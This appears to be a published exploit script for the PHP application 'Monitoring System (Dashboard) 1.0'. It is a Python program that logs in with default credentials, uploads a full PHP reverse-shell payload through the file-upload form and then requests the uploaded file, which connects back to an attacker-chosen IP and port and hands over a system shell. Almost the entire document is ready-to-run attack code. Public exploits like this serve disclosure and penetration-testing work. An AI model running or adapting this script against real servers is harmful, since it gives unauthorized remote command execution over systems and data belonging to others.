# Exploit Title: Monitoring System (Dashboard) 1.0 - File Upload RCE (Authenticated) # Exploit Author: Richard Jones # Date: 2021-03-11 # Vendor Homepage: https://www.sourcecodester.com/php/11741/monitoring-system-dashboard.html # Software Link: https://www.sourcecodester.com/download-code?nid=11741&title=Monitoring+System+%28Dashboard%29+using+PHP+with+Source+Code # Version: 1.0 # Tested On: Windows 10 Home 19041 (x64_86) + XAMPP 7.2.34 # Usage. # Change Target_IP, REV_IP, REV_PORT to your own import requests def main(): ##### Change info here ##### TARGET_IP="127.0.0.1" REV_IP="127.0.0.1" REV_PORT=9999 ############################ LOGIN="/asistorage/login.php" MAILING_LIST="/asistorage/modules/random/index.php?view=add" UPLOAD_URL="/asistorage/modules/random/upload.php" VIEW_ITEM="/asistorage/modules/random/index.php" CALL_URL="/asistorage/modules/random/uploads/" s = requests.Session() def phpshell(): return """ <?php // Copyright (c) 2020 Ivan Å incek // v1.1 // Requires PHP v5.0.0 or greater. // Works on Linux OS, macOS and Windows OS. // See the original script at https://github.com/pentestmonkey/php-reverse-shell. header('Content-Type: text/plain; charset=UTF-8'); class Shell { private $addr = null; private $port = null; private $os = null; private $shell = null; private $descriptorspec = array( 0 => array('pipe', 'r'), // shell can read from STDIN 1 => array('pipe', 'w'), // shell can write to STDOUT 2 => array('pipe', 'w') // shell can write to STDERR ); private $options = array(); // proc_open() options private $buffer = 1024; // read/write buffer size private $clen = 0; // command length private $error = false; // stream read/write error public function __construct($addr, $port) { $this->addr = $addr; $this->port = $port; if (stripos(PHP_OS, 'LINUX') !== false) { // same for macOS $this->os = 'LINUX'; $this->shell = '/bin/sh'; } else if (stripos(PHP_OS, 'WIN32') !== false || stripos(PHP_OS, 'WINNT') !== false || stripos(PHP_OS, 'WINDOWS') !== false) { $this->os = 'WINDOWS'; $this->shell = 'cmd.exe'; $this->options['bypass_shell'] = true; // we do not want a shell within a shell } else { echo "SYS_ERROR: Underlying operating system is not supported, script will now exit...\n"; exit(0); } } private function daemonize() { set_time_limit(0); // do not impose the script execution time limit if (!function_exists('pcntl_fork')) { echo "DAEMONIZE: pcntl_fork() does not exists, moving on...\n"; } else { if (($pid = pcntl_fork()) < 0) { echo "DAEMONIZE: Cannot fork off the parent process, moving on...\n"; } else if ($pid > 0) { echo "DAEMONIZE: Child process forked off successfully, parent process will now exit...\n"; exit(0); } else if (posix_setsid() < 0) { // once daemonized you will no longer see the script's dump echo "DAEMONIZE: Forked off the parent process but cannot set a new SID, moving on as an orphan...\n"; } else { echo "DAEMONIZE: Completed successfully!\n"; } } umask(0); // set the file/directory permissions - 666 for files and 777 for directories } private function read($stream, $name, $buffer) { if (($data = @fread($stream, $buffer)) === false) { // suppress an error when reading from a closed blocking stream $this->error = true; // set global error flag echo "STRM_ERROR: Cannot read from ${name}, script will now exit...\n"; } return $data; } private function write($stream, $name, $data) { if (($bytes = @fwrite($stream, $data)) === false) { // suppress an error when writing to a closed blocking stream $this->error = true; // set global error flag echo "STRM_ERROR: Cannot write to ${name}, script will now exit...\n"; } return $bytes; } // read/write method for non-blocking streams private function rw($input, $output, $iname, $oname) { while (($data = $this->read($input, $iname, $this->buffer)) && $this->write($output, $oname, $data)) { echo $data; // script's dump if ($this->os === 'WINDOWS' && $oname === 'STDIN') { $this->clen += strlen($data); } // calculate the command length } } // read/write method for blocking streams (e.g. for STDOUT and STDERR on Windows OS) // we must read the exact byte length from a stream and not a single byte more private function brw($input, $output, $iname, $oname) { $size = fstat($input)['size']; if ($this->os === 'WINDOWS' && $iname === 'STDOUT' && $this->clen) { // for some reason Windows OS pipes STDIN into STDOUT $size -= $this->offset($input, $iname, $this->clen); // we do not like that $this->clen = 0; } $fragments = ceil($size / $this->buffer); // number of fragments to read $remainder = $size % $this->buffer; // size of the last fragment if it is less than the buffer size while ($fragments && ($data = $this->read($input, $iname, $remainder && $fragments-- == 1 ? $remainder : $this->buffer)) && $this->write($output, $oname, $data)) { echo $data; // script's dump } } private function offset($stream, $name, $offset) { $total = $offset; while ($offset > 0 && $this->read($stream, $name, $offset >= $this->buffer ? $this->buffer : $offset)) { // discard the data from a stream $offset -= $this->buffer; } return $offset > 0 ? $total - $offset : $total; } public function run() { $this->daemonize(); // ----- SOCKET BEGIN ----- $socket = @fsockopen($this->addr, $this->port, $errno, $errstr, 30); if (!$socket) { echo "SOC_ERROR: {$errno}: {$errstr}\n"; } else { stream_set_blocking($socket, false); // set the socket stream to non-blocking mode | returns 'true' on Windows OS // ----- SHELL BEGIN ----- $process = proc_open($this->shell, $this->descriptorspec, $pipes, '/', null, $this->options); if (!$process) { echo "PROC_ERROR: Cannot start the shell\n"; } else { foreach ($pipes as $pipe) { stream_set_blocking($pipe, false); // set the shell streams to non-blocking mode | returns 'false' on Windows OS } // ----- WORK BEGIN ----- fwrite($socket, "SOCKET: Shell has connected! PID: " . proc_get_status($process)['pid'] . "\n"); while (!$this->error) { if (feof($socket)) { // check for end-of-file on SOCKET echo "SOC_ERROR: Shell connection has been terminated\n"; break; } else if (feof($pipes[1]) || !proc_get_status($process)['running']) { // check for end-of-file on STDOUT or if process is still running echo "PROC_ERROR: Shell process has been terminated\n"; break; // feof() does not work with blocking streams } // use proc_get_status() instead $streams = array( 'read' => array($socket, $pipes[1], $pipes[2]), // SOCKET | STDOUT | STDERR 'write' => null, 'except' => null ); $num_changed_streams = stream_select($streams['read'], $streams['write'], $streams['except'], null); // wait for stream changes | will not wait on Windows OS if ($num_changed_streams === false) { echo "STRM_ERROR: stream_select() failed\n"; break; } else if ($num_changed_streams > 0) { if ($this->os === 'LINUX') { if (in_array($socket , $streams['read'])) { $this->rw($socket , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN if (in_array($pipes[2], $streams['read'])) { $this->rw($pipes[2], $socket , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET if (in_array($pipes[1], $streams['read'])) { $this->rw($pipes[1], $socket , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET } else if ($this->os === 'WINDOWS') { // order is important if (in_array($socket, $streams['read'])) { $this->rw ($socket , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN if (fstat($pipes[2])['size']/*-------*/) { $this->brw($pipes[2], $socket , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET if (fstat($pipes[1])['size']/*-------*/) { $this->brw($pipes[1], $socket , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET } } } // ------ WORK END ------ foreach ($pipes as $pipe) { fclose($pipe); } proc_close($process); } // ------ SHELL END ------ fclose($socket); } // ------ SOCKET END ------ } } // change the host address and/or port number as necessary $reverse_shell = new Shell('OLDIP', OLDPORT); $reverse_shell->Run(); ?>""" def login(url,username, password): try: data = { "uname":username, "upass":password, "btnlogin":"" } r = s.post(url,data=data, verify=False) page = r.text if "Invalid Username or Password, please try again." in page: return False else: return True except : return False def uploadShell(url): s.get(f"{url}{MAILING_LIST}") # Call page fileData = { 'uploaded_file':("rev.php",str(phpshell().replace("OLDIP", REV_IP).replace("OLDPORT", str(REV_PORT))).encode(), "application/octet-stream")} data={ "pname":"", "pname":"a", 'cutoff':'', 'cutoff':'a', 'projectname':'', 'type':'a', 'projectname':'', 'dsend':'2029-03-19', 'desc':'a', 'MAX_FILE_SIZE':100000, 'Uploader':'', } up_url=f"{url}{UPLOAD_URL}" r = s.post(up_url, files=fileData,data=data, verify=False) if r.status_code == 200: print("shell uploaded") else: print("Shell upload failed") exit(0) r = s.get(f"{url}{VIEW_ITEM}") page = r.text DL_URL=page.split("download.php?filename=")[1].split("\">")[0] return DL_URL #Login base_url=f"http://{TARGET_IP}" login_url=f"{base_url}{LOGIN}" b=login(login_url, "jim", "jim") if not b: print("Login failed, Try again...") exit(0) #CAll shell base=f"{base_url}" CALL_URL_PART=uploadShell(base) c_url=f"{base}{CALL_URL}{CALL_URL_PART}" s.get(c_url) #Shell can be found at http:/TARGET//asistorage/modules/random/uploads/ if __name__ == "__main__": main()